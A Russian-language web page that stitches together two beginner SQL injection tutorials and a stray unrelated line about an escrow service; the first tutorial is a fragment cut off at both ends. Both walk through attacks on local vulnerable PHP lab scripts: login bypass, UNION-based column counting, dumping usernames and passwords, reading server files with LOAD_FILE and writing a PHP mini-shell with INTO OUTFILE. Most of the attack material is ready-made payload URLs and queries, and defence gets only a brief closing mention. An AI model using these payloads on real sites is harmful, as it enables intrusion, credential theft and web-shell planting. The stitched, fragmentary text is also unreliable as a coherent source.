Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near «111»» at line 1
При введении верных данных, наш запрос выглядел так:
SELECT * FROM `members` WHERE name = «Demo» AND password =»111″
При добавлении кавычки, наш запрос превращается в следующее:
SELECT * FROM `members` WHERE name = «Demo» » AND password =»111″
Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос
кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:
» AND password =»111″
Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:
SELECT * FROM `members` WHERE name = «Demo» » » AND password =»111″
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password;=111
Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?
Ответ есть — это комментарии.
Комментарии в MySQL можно задать тремя способами:
#
(решётка — работает до конца строки)
—
(два тире — работают до конца строки, нужен символ пробела после двух тире)
/*
это комментарий */
группа из четырёх символов — всё, что внутри — это комментарий, всё, что до или после этой группы символов, не считается комментарием.
Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:
SELECT * FROM `members` WHERE name = «Demo» —+ » AND password =»111″
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password;=111
Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид
SELECT * FROM `members` WHERE name = «Demo»
ведь хвостик —+ ‘ AND password =’111’
превратился в комментарий и больше на запрос не влияет.
Посмотрите ещё раз внимательно на новый запрос:
SELECT * FROM `members` WHERE name = «Demo»
И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.
К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.
Посмотрим внимательно на эту часть запроса:
WHERE name = «Demo»
Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение
WHERE name = «Demo» OR 1
всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.
Т.е. нам нужно составить выражение, которое будет выгладить так:
SELECT * FROM `members` WHERE name = «Demo» OR 1
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 —+ &password;=111
Результат:
Результат отличный! Мы получили список всех записей в таблице.
ORDER BY и UNION — главные друзья SQL-инъекций
Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!
UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.
UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 —+ &password;=111
Запрос выглядит так:
SELECT * FROM `members` WHERE name = «-1» ORDER BY 1
Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.
Ошибки нет, также нет ошибки и при запросах
SELECT * FROM `members` WHERE name = «-1» ORDER BY 2
SELECT * FROM `members` WHERE name = «-1» ORDER BY 3
SELECT * FROM `members` WHERE name = «-1» ORDER BY 4
SELECT * FROM `members` WHERE name = «-1» ORDER BY 5
А вот запрос
SELECT * FROM `members` WHERE name = «-1» ORDER BY 6
ему соответствует адресная стркоа
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 —+ &password;=111
Выдал ошибку
Ошибка: Unknown column «6» in «order clause»
Это означает, что из таблицы выбираются данные по пяти колонкам.
Конструируем наш запрос с UNION:
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
SELECT * FROM `members` WHERE name = «-1» UNION SELECT 1,2,3,4,5
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password;=111
Другой способ нахождения количества столбцов — с помощью того же UNION. Лесенкой прибавляем количество столбцов:
SELECT * FROM `members` WHERE name = «-1» UNION SELECT 1
SELECT * FROM `members` WHERE name = «-1» UNION SELECT 1,2
SELECT * FROM `members` WHERE name = «-1» UNION SELECT 1,2,3
SELECT * FROM `members` WHERE name = «-1» UNION SELECT 1,2,3,4
Все они будут вызывать одну и туже ошибку:
Ошибка: The used SELECT statements have a different number of columns
Делайте так пока не исчезнет сообщение об ошибке.
Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Что писать в SELECT
Есть некоторые функции, которые можно писать непосредственно в UNION:
- DATABASE()
— показать имя текущей базы данных - CURRENT_USER()
— показывает имя пользователя и имя хоста - @@datadir
— выводит абсолютный путь до базы данных - USER()
— имя пользователя - VERSION()
— версия базы данных
В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.
Используем DATABASE() в UNION SELECT
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password;=111
Результат:
Используем CURRENT_USER() в UNION SELECT
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password;=111
Результат:
Используем @@datadir в UNION SELECT
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password;=111
Результат:
Получение имён таблицы, полей и дамп базы данных
В базе данных information_schema
есть таблица, которая называется tables
. В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema
название нашей базы данных — ‘db_library’ (имя мы узнали с помощью DATABASE()).
Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Ошибка: Illegal mix of collations for operation «UNION»
Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:
Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно — сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.
п.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.
Гарант является доверенным посредником между Участниками при проведении сделки.
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Для практики нам понадобится скрипт index1.php
. Как я уже говорил выше, подставляем кавычки в ID новости.
Т.к. у нас запрос не имеет фильтрации:
$id = $_GET[«id»];
$query = «SELECT * FROM news WHERE id=$id»;
Скрипт поймет это как
SELECT * FROM news WHERE id=1″
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php
. В данном файле, запрос имеет вид:
$user = $_GET[«user»];
$query = «SELECT * FROM news WHERE user=»$user»»;
Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак « —
» считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user=»AlexanderPHP» — habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Sqlinj/index2.php?user=AlexanderPHP»%20—%20habrahabr
Выучите параметр UNION
. В языке SQL ключевое слово UNION
применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php
.
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users
в которой существуют поля id
, name
и pass
.
Нам нужно достать Информацию о пользователе с ID=1
Следовательно построим такой запрос:
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то — что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php
нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1″ UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 —%20
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE
.
sqlinj/index2.php?user=-1″ UNION SELECT 1,2,3,4,5 INTO OUTFILE «1.php» —%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1″ UNION SELECT 1,»»,3,4,5 INTO OUTFILE «1.php» —%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE
, за место того поля, которое мы выбираем:
Sqlinj/index2.php?user=-1″ UNION SELECT 1,LOAD_FILE(«1.php»),3,4,5 —%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET[«id»];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.
Вместо завершения
На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.
Теги:
- SQL injection
- sql inj
Добавить метки